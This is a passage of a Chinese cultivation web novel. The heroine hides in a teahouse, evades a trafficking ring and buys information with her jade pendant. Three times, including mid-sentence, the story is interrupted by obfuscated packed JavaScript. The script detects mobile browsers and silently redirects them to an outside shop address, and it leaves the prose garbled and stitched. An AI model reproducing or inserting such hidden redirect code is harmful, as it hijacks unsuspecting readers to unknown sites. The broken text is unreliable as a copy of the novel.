;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还没等她发问,商队主管便捏起尖细地嗓子,得意又有些不耐烦地向他们这些山村出来的搭车人命令道:“第三城快到了,一进城你们就都给我从车上下去。顺便说一句,看到天上那个东西了吗,那是归一万法阵,城外它不管,到了城中,若是修士相互出手,或对凡人出手,被归一万法阵捉到,只有立刻诛灭一个下场。你们进城了最好安分点,别怪我没提醒你们。” 温泠淼有些惊讶,随即又了然,修仙界内弱肉强食太过惨烈,强者想要捏死弱者真的和掐死一只蚂蚁样简单,想要在人口极密的地区维持一定的社会秩序,自然不能靠这里的强者都不爱搞破坏的幻想,只有不变且强硬到能令所有人畏惧的法度,才能暂且震慑复杂的人心。 只是她没想到,阵法竟然能有如此奥妙,她还不知这阵法是如何原理呢。不过再高的阵法也是有极限的,不知这归一万法阵能约束到什么境界的修士。温泠淼眼珠一转,又想起了一个问题,她装作一副不谙世事的样子,向着那有些尖刻的商队主管发问道:“左大人,那若是凡人与凡人斗殴呢,还有偷盗,抢劫等事务,归一万法阵总不能都管到吧。” “啧,真是乡下人,”左主管不大不小地骂了声,话入马车中人的耳朵,不少人脸色都一下子难看了起来。只有温泠淼仍是一副听不懂其中味道的天真样子,笑盈盈地等着他的回复。 “听好了,其他法度由城主府维持,城主乃元婴强者,坐下有四位金丹护法,休要想在他们面前耍什么小把戏。至于具体法度,你们进城了自己学去。”左主管烦躁地解释完后,却见那看着单纯到傻气的少女又指着窗外问了一句。“左大人你看,这城外怎么看着还有个小城的样子,这些楼又都是做什么用的呀?” 左主管顺着她手指的方向往外望去,见那第三城外,归一万法阵笼罩不到之处却也起了鳞次栉比的楼阁,看规模像是有小几千人居住其中,里面不乏极为精致奢靡的雕梁画栋。见少女原来问的是那,他微一怔愣,而后嗓子又尖又细地道,“小孩子问那里干什么,你这狗屁年纪,离那地方远点。” 温泠淼也不恼,还是那笑得乐呵的样子,她望向窗外,先前指着的地方就这般掠过窗前,而她状似无意地扫过去,那城外城最中心的雕梁画栋顶上,赫然挂着“琉璃楼”三字。 马车奔腾着驶入第三城门,与那地方擦肩而过。感受到一个庞大而无机质的存在从她灵魂上扫过,温泠淼眸光暗了下来。 琉璃楼,王麻子,我们,来日方长。 4. 追逃 “小二,来壶灵山金骏眉!” “哎,来了!”温泠淼忙应了一声,先把手上这三碗鲜肉小馄炖给门边的桌端上,又匆匆赶回台前,从架子上取下铜罐,倒了些碎茶叶出来,洒进土陶制的茶壶里。 台旁的炭炉上架了口铜壶,直径约有一尺,内里不时传来沸水翻滚的咕噜声,那铜壶连水看着不轻,这店小二打扮的瘦弱少女却将之轻巧拿起。沸水一冲入茶壶中,廉价的茶香便蒸腾开来。 此时距离温泠淼进城已过半月,那日马车入城后,还没等停稳,她便跃下了车,而后就如一颗最常见不过的水滴般融入喧嚣人海。 第三城分为内外两部分,二者如同心圆般相互嵌套。内城占地约五分之一,建筑精美典雅,是世家大族居所,传言内有五大家族并立,城主府和其余行政机关总部也多设在其中。而外城则为普通百姓所居,但平民之间亦有差距,富裕些的便围住在内城附近。而温泠淼挑的地方稍近外围,居民普遍是温饱线上的贩夫走卒,却也不至于同最外围的木石巷那般混乱。 内外城间,有一堵低矮的城墙相隔,划分出世家与平民的地界,看来就算是在有修士不可出手法规的第三城,阶级之分仍顽固存在着。 虽然温泠淼从那户人家里搜了二十余两银子在身,除去搭车花的半两,剩的也够她在城中生活数月。但她一来被穷怕了,不敢坐吃山空;二来想多了解一番此方世界,据她的网文阅读经验,酒楼饭馆应是打探信息的最佳地点,于是便扮成平民孤女,一家家敲开那些酒楼的门问去,终于被秋桂巷尾一对老夫妻经营的聚福小馆收做小工,月薪也正好半两银子,包吃住。 工作后,温泠淼才后知后觉这商队要价有多坑人,她一边擦桌一边画小人咒那左主管咒了一天。 虽然在那民风淳朴的莽村留下了后遗症,温泠淼晚上都不敢睡死,生怕一个不小心又被店主二人给打包送琉璃楼去了。不过第三城还算贴近法治社会,老夫妻俩对这个手脚麻利,主动揽下劈柴搬桌等力气活的小温姑娘很是满意,想着她模样干枯瘦弱,年纪轻轻却这般懂事能干,必是吃了不少苦头,于是心照不宣地多给她些照顾。 她在这小馆三楼终于有了一处属于自己的落脚地,小心翼翼地把这小房间收拾得整洁又温馨。而每到饭点,王嫂新炒的一锅热腾腾的饭菜总能不小心模糊了她的眼。 温泠淼现在比谁都知这看似平常的烟火气有多可贵。时间就这般慢了下来,好似什么琉璃楼,什么末世一类的恼人东西都逐渐远去,而后那空缺迅速被温暖柔软的生活瞬间填满。 除了她还是实在想念厕纸和手机外,一切都很完美。 她的修为也在不紧不慢地长着,不知不觉就过了饮茶水的阶段,练体和练气全到了第四层,双腿的灵穴被相继打通,她暂且还没开发出什么招式,脚程倒是灵活不少。 只是即便是在这巨型城池中,修士仍只占极少数,除了最开始那商队请的镖人外,她统共都没遇上几个,更不知自己这是什么水平。 不过正巧秋桂巷头有家五味书屋,温泠淼常抱着补上修仙义务教育的心跑去厚着脸皮蹭书看,修炼知识是没学一点,那凡人编纂的精怪小说倒看了不少。她还很是乐在其中,对那痴男怨女品头论足。 没办法,看来从路边书店中捡漏无上剑技果然只是传说里的事。但这些小说也将此方世界的地理,文化和价值观在她眼前揭露一二。 温泠淼有时也感慨,就算在弱肉强食的修仙界,如萤火般的情与爱,还是被人们执着书写追求着。 不过她虽欣赏却不沉溺,她天生不怎么受这些不可控的事物诱惑,回家才是第一要务。 这厢,台前的温泠淼一边垂眼冲着茶,一边暗自竖起耳朵将这小馆中的八卦尽收入耳。那最开始招她上茶的两位客人此时正聊开了,声音断断续续传来。 “宋大哥,你这两天派人去城郊送货可得注意些,”客人中的一位身着玄衣,布料粗糙,遍布磨损褪色痕迹,不少地方还打了补丁,捞起的裤脚下是肌肉扎实的腿,该是做力工一类的。他压低了声说,“最近这城里真真是不太平。我听说呀,城外市的琉璃楼现在跟疯癫了一样,就为找个人,把外城不少地方翻得鸡飞狗跳。特别是木石巷,他们只管说人藏在那,就不分青红皂白一通拿人,不知多少家伙遭了无妄之灾。” 那二人并非修士,声音再低,也逃不过她耳朵,温泠淼一听琉璃楼三字,兴致便提了起来,她下意识地放缓了动作,拖着时间,盼着多听几句。 找人…该不是她想的那样吧。 在这半月中,她对书中一笔带过的第三城多了些了解,城外那处聚居地名城外市,由于在归一万法阵外,是典型的三不管地带,黑市盛行,城内不方便的各类勾当在那都能找到,就像第三城这个因阵法庇佑而清明安宁的城池的影子。而琉璃楼则是城外市最大势力之一,主营业务便是她此前猜想的那种。 这琉璃楼在城外市可谓气焰极盛,触角也不时伸进第三城内。听说其与内城五大家族之一有着千丝万缕的联系,故而城主府也对之睁一只眼闭一只眼。 总之,绝不是现在的她能扳倒的,想到此,温泠淼心中一阵阴翳。这琉璃楼名字叫的好听,干的勾当却恶心至极,只可惜她有心无力,现在还极有可能自身难保。 “多谢张弟提醒,”另一客人身着青衣,衣料看着就比玄衣客人好上不少,举止也颇有气度,应是小有所成的商人,他面露不解道,“只是张弟可知这琉璃楼为何忽然做如此大动静,又要整多久,我这生意可拖不得啊。” 温泠淼还在磨蹭着,把那装茶叶的铜罐擦了又擦,听见这话,她手一顿,目光不由自主地往那边瞧了下。 她也奇怪,只是处理了两个最边缘不过的供货人,这般庞大的势力应不至于就此发作。在她的预想中,那王麻子最高不过进货一类的管事,就算事情败露,也不该掀起太大的波澜。 至少他们之间应只是私仇,不会像这样扯上整个琉璃楼垫背。 玄衣客人鬼鬼祟祟地往四周看了眼,撑桌起身,凑到青衣人面前低低道,“具体我也不咋清楚,只听薛嫂说是琉璃楼主的某个男宠被人抹了脖子。害,那楼主最近疼他得紧,人还是在眼皮底下没了,自然是震怒。 “据说那人修为不高,但身上有些诡异,不知怎的破进了琉璃楼最顶层去,一剑毙命后还给他逃了,楼那边出了一金丹三筑基,猜怎么的,连人影都没抓着。现在啊,那人说是混进了城里,琉璃楼可不得在这搜嘛。” 温泠淼听完,却是松了口气,她和那男宠自然是八杆子打不着的干系。看样子是她下手时候不巧,撞上了大的。 实力不够,就是提心吊胆,夜长梦多。她慢悠悠地继续擦着茶罐,暗中盼着能给她快些混进漱玉宗,有个靠山还是好,到时那王麻子算什么。 “真是报应,”青衣人嗤笑一声,“谁不知这琉璃楼干了多少腌臜事,我看啊,那人没把这整个楼掀了都是…” “宋大哥,慎言,慎言…”玄衣人慌忙阻止,他擦了把汗,又往周身扫了一下,确定未被其他人注意到后,才稍安下心来。这心一定,便觉得有些口干舌燥,不由再提高声音招呼一句。“小二,茶还没好吗?” “来了来了。”温泠淼得了想要的消息,也不再磨洋工,将那擦得锃亮的铜罐往架子上一塞,利落地提了壶过去,又把茶给二人一一沏上。 那二人见她来了,对视一眼,默契地结束了危险话题,一下将话头转到今年的宗门大选上。 玄衣人捉起面前的茶杯,一口便牛饮了大半,而后“咚”地一声将之掷在桌面,畅快道,“宋大哥难得请顿饭,咱说点开心的,听说再过四日那些个劳什子宗门就要从城里挑弟子了,不知宋大哥的小女想去哪试试,要是能进那上三宗之一,宋大哥你呀,这下半辈子都不用愁了。” 他又叹了一声,“唉,我家的兔崽子们怎么就不能有点出息,个个都是没灵根的主。” 青衣人小口小口地饮着茶,虽被玄衣人恭维了一番,眉间却积起挥不去的愁绪,“上三宗晴儿是不肖想了,她天资平平,苦修一年也不过练气一层,那些眼高于顶的大门派一年从这城里收不到一个人,哪看得上。晴儿想着去烟川试试,听说去年他们领了十多人走,被看上眼的几率也大些。” 这片大陆上仙家宗门数千,以上三宗和下九宗为尊。上三宗分别为渊山,晞月,咸池。而烟川则是下九之一,至于漱玉,那是远排在了百名开外。 而那宗门大选则是第一到第九城一年一度的盛会。数千宗门在此日向着最近的城池派出人马,招揽弟子。 大些的宗门会同时在多个城池开展选拔工作,例如渊山虽处第一城辖区,却也会派弟子去第三城挑人。至于漱玉这人手短缺的小门派,几乎只会在第三城中遴选。 “哎,左右不过这几天了,我也不知能帮她些什么。有时也怕她一下子走了,十多年都回不了家一趟。”话到此,他也有些别样地惆怅。 玄衣人刚想说点安慰的话,就见那先前倒茶都耽搁许久的店小二又到桌前,把他俩点的阳春面给上了。却还没等他接过面碗,就听那店小二先笑盈盈地开口问道,“打扰二位客人了,不知有一事能否请教一二,说来惭愧,我也对这宗门大选有些兴趣,只是一直听人谈着,真能入围参与的却不见几个,如今终于遇到了两位厉害的大哥,心中那个高兴啊。” “但我实在愚笨,不懂那些宗门大人各有些什么要求,客人若知道怎么能得些消息,可否告知,我自是感激不尽。” 青衣人打量了店小二一眼,先是被她暗中夸赞一番,又见她笑容单纯不设防,看着就是个小姑娘好奇样,不由好心提醒道:“不打扰,其实没什么规矩,四日后巳时你准时到城西的皓月台上就行,到时找到你想去的宗门等着,他们会当场宣读相关事项的。若你真想提前知些消息准备,可以去言刀看看,他们的信息基本不会错。” “只是姑娘你看着年纪太大了些,就算去了估计也不会有好结果。” 温泠淼灿烂的笑容差点裂在脸上,她怎么忘了,像郁丹臣,谢星君这样的天之骄子可都是童子功,早在七八岁时就展露灵根,被宗门收走。十九岁可谓是超大龄,一般到这年纪,有天赋的,早就修炼多年,崭露头角了;没天赋的,练再多年都一样。 算了,先去,总归有办法的,大不了跟一群小娃娃抢。温泠淼维持着龟裂的笑容,开朗地向二人道谢,“多谢宋大哥,张大哥,小的有自知之明,只是在帮我那不成器的妹妹打听。二位客人真是帮上大忙了,我给您免费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413780|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续壶上好的白山毛尖,也预祝宋姑娘能顺利考入烟川。” 那两人挥挥手,没在意她的打扰,继续谈天说地去了。这座城里最不缺的,就是对修士一途有梦想的人,在这店里碰上一个并不意外。 - 没有自知之明的温泠淼到了下午才终于得闲,她在台前将那茶叶罐一个个取出,擦拭,又放回去,心中暗自思量着。 这些天谈到宗门大选的人不少,然而绝大多数百姓都只抱着看热闹的心态,真提及要去参选的,也就今日见到的宋,张二人,足以可见灵根在凡人间的稀少,也算是让她找到机会了解些消息了。 八九岁的练气一层吗,温泠淼取出那装了古树黑茶的铜罐,边擦拭边计算着,她这喝蜂蜜水的阶段还剩两日便结束了,该能在大选前晋升至练气五层。按照越往后晋升越难的情况看,以她的年龄,这修为也不算太落后。更何况那宋姑娘还将目标定在了下九宗的烟川,漱玉宗的要求应更为低些。 毕竟漱玉此时还是一极小的半隐世宗门,若要说到力压上三门之首的渊山,成为修仙界一颗冉冉升起的新星,得等到谢星君五十年后在宗门大比上大放异彩之后了。 自然,这些被选入宗门的新弟子和那些真正的天之骄子间的差距仍如有天堑,毕竟此时只是初步筛选,将人纳进宗门,到时在宗门内部还会按天赋将之分入杂役,外门和内门。这一年升练气一层的宋姑娘,按常理看,做烟川的外门或杂役弟子是够了,和谢星君这类十日筑基的漱玉内门妖孽却也绝不可比。 她预计着自己能混个杂役弟子当便相当不错了。只要能进去,靠着喝水,她就能想办法躺进内门。 温泠淼将那擦得金光熠熠的铜罐满意地放回原处,看来她还是得去一趟那宋大哥口中的言刀,一是为了给混进漱玉做些提前打算,二是要寻些琉璃楼的消息,有备无患。 她对这言刀还有些许印象,无它,在那小说里,它们太特殊了些。 传言在普遍修自身力量的修士之外,还有着一类极为奇异之人,他们修命道。这些修士武力极孱弱,却有着能窥探古,今,乃至未来命运的权能,在测算,探听,交流方面天资卓越,并借此暗中掌管着这方世界的情报流动。言刀便是他们的根据地之一,取的正是以言为刀之意。 虽无法手持刀剑,以力降人,却用比刀更锋锐的情报在这世界中占有超然地位。 而这方世界的人对之也是又爱又恨,爱其无所不能,传闻这世上只有客户付不起代价的,没有言刀不知道的事情;也恨其绝对中立的立场,言刀从不依附任何势力,也从未给任何大门派好眼色,无论是正,是邪,是妖,是魔,言刀明码标价,且来者不拒。 原作里谢星君可是在那言刀里吃了不少瘪,散去不知多少灵石,这也是她半月以来从未动过这心的原因,温泠淼想到此,再摸摸自己并不宽厚的钱包,一时竟生起贫贱修士百事哀之感。 温泠淼这一摸鱼就摸了一个多时辰,她把那一个架子的茶罐都给擦得干净到能放金光,又把今早的帐算了一遍,却迟迟不见有新客进店。甚至店门开着,她坐在台后往门外看去,街道上都人影寥寥。 又过两刻,方才外出去一探情况的老夫妻二人着急忙慌地跑进店里,二话不说就先把店门给重重关上,还不忘放上门闩。 “王嫂,李伯,外面发生什么事了。“温泠淼从台后利落起身,一边帮着二人收拾店面,一边不解问道。见到二人非同寻常的反应,她隐隐有些不详的预感。 ”小温姑娘啊,你这几日还是在店里好好呆着罢,最好哪都不要去,特别是千万别出城。”王嫂停了手中的活,捉住她的手,安抚般地拍了几下,她虽神色慌乱,却还是强做镇定说,“现在外城乱得很,前几天琉璃楼刚从那木石巷拖了几个人出去,听说好几日都没见回来。方才又有个商团的管事一不小心出了城,马上就在那城墙根下被琉璃楼的人逮了,也不知关到哪去了,听隔壁不巧路过现场的钱姐说那声音惨的哦…” 她摇摇头,停了接下来的话,又紧紧握住温泠淼的手,自己也害怕得紧,但想着店里还有个不大的姑娘,又扯出笑容安慰她,“唉,小姑娘还是不知道这些的好,总之你先呆在店里,我和李伯都在这,有我们在,你放宽心。” 商团?温泠淼眉头逐渐皱起,不详的预感逐渐蔓延,她小心翼翼地挑着词说,“多谢王嫂提醒,我还不知事情这样严重,你们能安全回来就好哇,只是这几日不能开店,不知得损失多少。” 她状似无意地骂道,“这琉璃楼怎如此大胆,商团平日里出城都有镖人跟着的,这都敢下手。也不知是哪个商团的管事,这么不小心。” “传言是个小商团,叫风鹰,请不起什么好的镖人。且那主管是自己出去的,说是有个小姑娘迷了路找他帮忙。唉,没想到存着善心却是着了琉璃楼的道。呸,这帮崽子卑鄙的很。”王嫂话语中多有不平,说到愤恨处还往旁边啐了一口,却没注意到温泠淼的面色微变。 风鹰,正是她来时搭乘的商团名字。会这么巧吗,她和那被追杀的刺客正好在一辆马车上? 不,时间对不上,也就是说,这次怕是冲着她来的。 她捏着抹布的手越攥越紧,脸上却挂了温暖的笑容,反过来安抚着王嫂一切都会过去。 5. 言刀 这琉璃楼怎兜兜转转又找了她,她可不记得见过什么刺客,不过他们应还没确定是谁,不然也不会先抓风鹰的人。不知左管事什么时候会松口把她的消息吐出来,又能吐多少。她一个无根无凭的异乡人,能称得上线索的只有外貌,她也没易容的本事,不知对方能否凭借画像找到她栖居的小馆。 但她绝不能坐以待毙。 温泠淼同着老夫妻把店收完,在二人声声叮嘱中回了三楼的房间,门一锁,她脸上那副没心眼的笑容便消失得一干二净。她狠狠吐了口气,神情间有一丝挥之不去的阴翳。 冷静下来后,她又觉说不出的奇怪。她自觉这事情不值得如此大动干戈,也想不起从那屋子里搜出过有价值的东西。温泠淼眉心微微皱起,要么,是左管事后来又卷进了刺客的事里,要么,是当了小官的王麻子在借着抓刺客这杆大旗暗中借力。 若是这样就好办了,温泠淼点好银两,再翻出自己的旧衣,系在头上把面容一盖,就从窗口一跃而下。她灵力汇聚双腿,点亮灵穴,在无人的巷道中极速穿行着。 先去言刀想办法弄清楚琉璃楼的情况,是逃是杀才好从长计议。 这事发生的时机巧也不巧,她只要再喝两天蜂蜜水,就能晋升练气五层,到时她虽对什么武技剑技一窍不通,跟王麻子也有一战之力。说来可惜,这神秘系统的练体等级强制与练气相同,不然她还能先进练体五层,现在也能更主动些。 温泠淼闪身混入主街还算热闹的人群,而后身影一动,进了言刀门内。 这言刀不似其他店面,就算在这满城动荡之时,仍将大门悠然敞开着。白日里,石质的五层建筑灯火通明,门外置一足有丈高的红木架子,满当当挂着五色琉璃风铃,呈一道光怪陆离的风景,若有风穿堂而过,就能听那风铃转出悦耳的声音。而一细看,便会见每只风铃下系着的短册上总有寥寥几笔,像些零碎的消息。 就算心乱如温泠淼,也在路过这奇异的风铃架时,冥冥中像受了一种感召,一瞬放缓了脚步,往门口看去一眼。 她一进门,挂在梁上的铸铁风铃便无风自动,漾出稍显尖锐的声音。听见这铃声后,一位面容温润俊秀的青年便从柜台后起身,不急不徐地走至面前,笑道:“这位客官,来言刀是想要什么情报呢?” 温泠淼刻意压低了嗓音,先挑了个不敏感的问道:“可有今年漱玉宗宗门大选一事相关的信息?” 青年像见多了怪人,对此没表露一丝惊讶,他好看的唇弯出一个客气的弧度,伸手做了指引的动作,“宗门大选相关在我言刀都属公开信息,客官自可去门外百铃墙查看。” “哪一个是?” “客官凭直觉见的第一个便是。” 温泠淼藏在衣物阴影下的眉微皱,这命修怎跟风水先生样,神神叨叨的。她半信半疑地回到门前,随手捉了个最顺眼的,向风铃下的短册看去,却见其上果然用清隽端正的字迹写了漱玉宗大选的时间地点,除宋姓男子所言的四日后皓月台上外,还标注了具体方位图示。温泠淼目光微动,将之细细记下。 她又把短册翻个面,便见了漱玉宗的考核要求,条件出乎意料的简单,若年纪不过十岁,只须当场测出灵根即可,年纪稍大的,除须有灵根外,还得通过另外的测试。看到此,她眸光一动,这另外的测试说得轻巧,却不知具体事项,换句话说是情况少见,没做什么安排。希望对方不要一脚把自己这个超大龄学前儿童踹出门外,她再往下看去,短册上甚至还有此次负责大选的长老和另两位外门弟子名姓,就差给个负责人的联系方式了,温泠淼一笑,将之放回了原位。 罢了,天无绝人之路,这件事相对来说并不紧急,过不了她就去当个扫地杂役,女主角又不会跑,总有办法接近不是? 一事已毕,她走回堂中,那刚坐下来的青年抬眼见又是她,面露惊讶之色,随即挂上如沐春风的笑容,眯起眼道,“客官身上,有大生意的预感。不知可否随燕某上二楼详谈。” “可。”温泠淼暗暗挑眉,她还没开口,这燕姓侍者倒知她还有事相求。不过她这扁扁的钱包和大生意三字可沾不上边。 但她也领教了言刀的古怪,便不多说一字,走在侍者后一步上了楼。 二楼不似一楼空旷,放眼望去只见一狭长的石质长廊,两侧分布着数间小石室。侍者领她到其中一间门前,将掌心覆在一道暗纹处。那暗纹像得了什么感应样骤然亮起,金色的细密光辉在门上蔓延,盘绕成怪异的图腾。图案一成,门便悄无声息地开了。温泠淼藏在阴影下的眼警惕地望去,却只见那室中一方石桌,两张石凳而已。 四方石壁上苍苔斑驳,古旧却不破败,散发着一道永恒静谧的气息。 侍者笑吟吟地对她做了个请的手势,道:“客官请放心,这里面除却一个隔绝任意声音的永静阵外,再无其他。” “言刀从未与任意势力交好或结怨,您不必担心我们对自己的客人出手。” 温泠淼扯开一笑,她还是知这唯利是图的组织性子的,便先一步踏进室内坐下。待她和侍者落座,那厚重石门又悄无声息地合上,其上灵力化作的金线浮动,像是侍者所说的阵法在运转。 “我要琉璃楼的消息。”确认安全后,温泠淼开门见山道,侍者倒茶的手没有一丝停顿,好像这话听得多了。 “客官想要什么程度的情报呢?最下一档消息五两白银,但我也不妨同您说,这消息不会和您自己去打听的差多少。”侍者把茶杯推至温泠淼面前,淡笑道,“若是再详细一些的,则一枚灵石一道。而我们言刀最为拿手的,便是客订消息,您要什么我们查什么,再据秘密程度评估代价。” 这茶香淡雅甜美,比小馆的碎沫子茶不知上了几个档次。她只需浅浅一口,舌尖便被这甘甜清冽的滋味俘获。但温泠淼心情一点都不好,情报商果然才是最奸诈的,一个普通消息便要五两白银,她差不多得打工上一年。而灵石就更不用说,这修士的货币她上哪里找去,据说一枚灵石可兑白银百两,她看上去像冤大头吗。 “此外还有些最即时的新闻,这第三城中发生的一切,就没有我们言刀不知的。新闻也根据秘密程度划分等级,最低一两白银一道。例如今日南城门外发生的骚乱便是。”侍者饮着茶,不知有意还是无意,悠然抛出温泠淼无从拒绝的诱饵。 “所有消息?那我若要刺杀琉璃楼主男宠之人的情报,你言刀也能给?”温泠淼却不接他的话头,先回以一个质问。她面容看不真切,只听声音冰冷,又有些细微的沙哑。 “自然,不过如果精确到身份,我言刀也需付出极大代价,目前来看,没人能购买得起,包括您。”侍者笑意不改,“但在燕某看来,客官您真正想知道的并非此事。” 温泠淼还是一副不置可否的神情,侍者却说得极为笃定,“客官让燕某有一丝熟悉之感,看在这份上,燕某便多言两句,您现在千万莫要去掺这趟浑水。” 他如玉的指节在桌面上一下一下扣着,声音陡然变得遥远,好似接入了一个庞大的灵魂,或是命运的洪流。“我言刀有预感,此事只是一个开始,几日后,真正的好戏才会开场。” 他顿了顿,声音由虚返实,又挂上那副如沐春风的笑容,淡道:“届时,不是我等小修士和平民百姓能参与其中的。” “多谢提醒,我要关于琉璃楼最下档的情报即可,还有今日南城门那事的消息。”温泠淼倒也干脆,不再追问下去。她没有自大到认为这好戏会与她有关,她前来此处,也只是想知道琉璃楼的打算,是真有牵扯,还是王麻子狐假虎威。她该逃,还是该杀。若杀,她又是否会惹上更大的麻烦。 至于大事,只希望不要影响到宗门大选就好。若是能为她打个掩护,便再好不过。 侍者笑容热切了些,他抬起手掌,轻轻在那石桌上一盖。等那掌心与桌面分开时,方才他手覆盖的地方已多了两张竹简。 温泠淼接过竹简,细细看去,眉头却松了些许。 与她料想的一样,王麻子只是琉璃楼最下层的一小供货人,像他这样通过各处渠道收集少年男女当货物上供的,楼里共有四十七个。按理说,王麻子虽为琉璃楼办事,但地位太低,属于哪天没了,琉璃楼也不会多看几眼的那类。 但不巧,她处理的那两人中,男人是王麻子的胞弟,这二人不知能否称上兄弟情深,王麻子一人进了琉璃楼,便不愿胞弟再趟这浑水,于是将之悉心安排在莽村网罗货物,并暗中给不少优待。只是他瞒的好,就连与他结了二十多年夫妻的女人都不知这层关系,只觉得多受其庇佑。而那莽村中人多多少少都是为琉璃楼办事的,见王麻子厚此薄彼,心中不平渐生。故而在她动手时无人阻止,反倒暗自在家拍手称快。等她一走,就有村民去找接头人添油加醋,上报邀功了。自然,省略了袖手旁观的部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413781|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 王麻子大怒之下前去莽村搜查,在山头上翻找几日后就见了二人遗体,又根据脚印等痕迹,锁定了风鹰商队。平日里,按王麻子这最底层地痞无赖的本事,就算给他安一百个胆子,也不敢在第三城闹事。谁料刺客事发,琉璃楼大怒,与内城方家勾结向外城施压,王麻子便趁乱从还未上交给琉璃楼的货中挑了一八九岁的姑娘,装成从楼里逃出的样子,逮住时机,向风鹰商队的管事左槐求助。 左槐年轻时曾育有一女,在与这孩子年纪相仿时失踪,他见女孩无辜可怜,竟一下忘了警惕,跟着她出了城。只是他刚一脚踏出归一万法阵,便被王麻子勾结两位道上兄弟捉走,他虽是修士,资质却极其平庸,多年来仍停留在练气二层。怎么抵抗得过。 因左槐这张尖刻的嘴,风鹰商队的人本就和他不亲,又碍着琉璃楼的势,全当这管事已经死了。 温泠淼无言,微微垂下了眼。若是村中人告密,那左槐知道的事必不会比村人更多了,王麻子捉他,线索倒是其次,怕也只不过为了泄愤,如此,这管事凶多吉少。 但她不能太急切,言刀的都是人精,她要前脚刚说一句可疑的话,谁知他们会不会下一秒就把消息再卖了去。 她定了定心,将眉目藏在阴影里,唇角扯开一道颇有兴味的笑容,哑着嗓子说:“可有这动手小辈的消息?此人身上有些古怪,我很在意。” 侍者有些许讶异,而后笑道:“没想到客官的眼光竟落在了这无名小辈上。此人实力浅,不出名,唯一的线索被困,对我言刀也是有些难处。不过,只有客官买得起的,就没有言刀打探不到的。客官若真有兴趣,两日内燕某必给答复。” 温泠淼却不答,只是暗想,看来在言刀这张只对钱开的大嘴巴处,自己还有两日左右的安全期。 她故作为难,犹豫了许久,踌躇道,“是有些兴趣,但我如今囊中羞涩,怕是付不起代价。若只要那左槐关押地和守卫的消息,我自去拿人来问,你们开价多少?” “也是客订消息,”侍者思索了一会,坦然说,“不过省了些流程,价格便宜些,且立等可取。” “罢了。”温泠淼听见客订二字,明了自己消费不起,起身欲走。却被侍者伸手虚虚拦了下来。温泠淼不动声色看去,青年不愠不恼,反倒是仍挂着那副热切的笑,热切到有些虚假。“客官不听我把话说完吗?” 没等温泠淼回应,他便径直说了下去。“我言刀的客订消息,只要代价。” 青年极为认真地看向温泠淼颈间,“客官莫要妄自菲薄,若我说,您这有价值相当的事物呢?” 温泠淼被他看得颈间一凉,微微皱眉,伸手捞出了那枚原身一直佩戴在身的杂色玉石吊坠。“这个?” “正是。一枚玉佩,换您想要的消息,不是很划算吗?王麻子藏人的地方相当隐蔽,这消息别处可买不到。”他好似还不明白她为何犹豫般,微微皱起了眉。 天上没有白掉的馅饼。温泠淼不为所动,她仔细端详着玉佩,还是那副斑驳样子,不似任何天财地宝。她又探了丝灵力进去。也感知不到丝毫古怪,仿佛就是一块最普通不过的石头。 她没忘记书里谢星君找言刀客订消息的价格,这小东西能抵得上数百灵石? “客官不用看了,不过凡石而已。其上的牵挂与回忆,和客官你放弃的东西,才是真正宝贵之物。请放心,言刀从不做亏本买卖。”侍者看穿了她的疑虑,先一步道,“另外,客官的时间也不多了。王麻子今日已卸了那左槐手臂,再放任不管,他撑不过三日。” “不能换其他东西吗,我可以给言刀……” 她刚犹疑着开口,便被青年笑着打断。 “客官,言刀看上的,从不讨价还价。” 温泠淼眼神一瞬极为复杂,她下意识咬了咬唇,玉佩是原身最珍重之物,它承载了她所不知的美好回忆。她窃取身份就算了,有什么权力再偷拿原身珍贵的东西,为自己的无能买单? 但她当她无意识地扫过桌上的竹简时,又无法抵抗从心底泛出的不忍,左槐虽刻薄坑钱,但人总归不坏。那日,她状似无意问起琉璃楼时,他也会因不想让她了解这些而用粗鲁尖锐的话敷衍过去。 说到底,他只是一个被她牵扯进去的普通人,他向女孩伸出援手时,想的也只是自己失去的女儿,他又何错之有? 温泠淼闭上了眼睛。 6. 浑水 她忽然一瞬间感到了些许茫然。该后悔不应对那两人做这么绝吗,但在对此方世界不甚了解之时,这已是她最好的选择了。何况放过已经结仇,罪行斑斑的两人,又是正确的吗? 她不知道。 说到底,还是自己无能,若她能一掌把这琉璃楼连根子都掀飞了去,哪里还用在这处处受制,进退维谷。温泠淼忽然觉得此前妄言无意追求实力的自己,有些太过天真。这世间一切,无不在推搡着人,去踩在别人头上,去争,不是你死,就是我亡。 她深吸一口气,而后眼再睁开,目光已恢复一贯的沉静。 玉佩失了,还有再夺回的机会;人死却无论如何,都不能复生了。 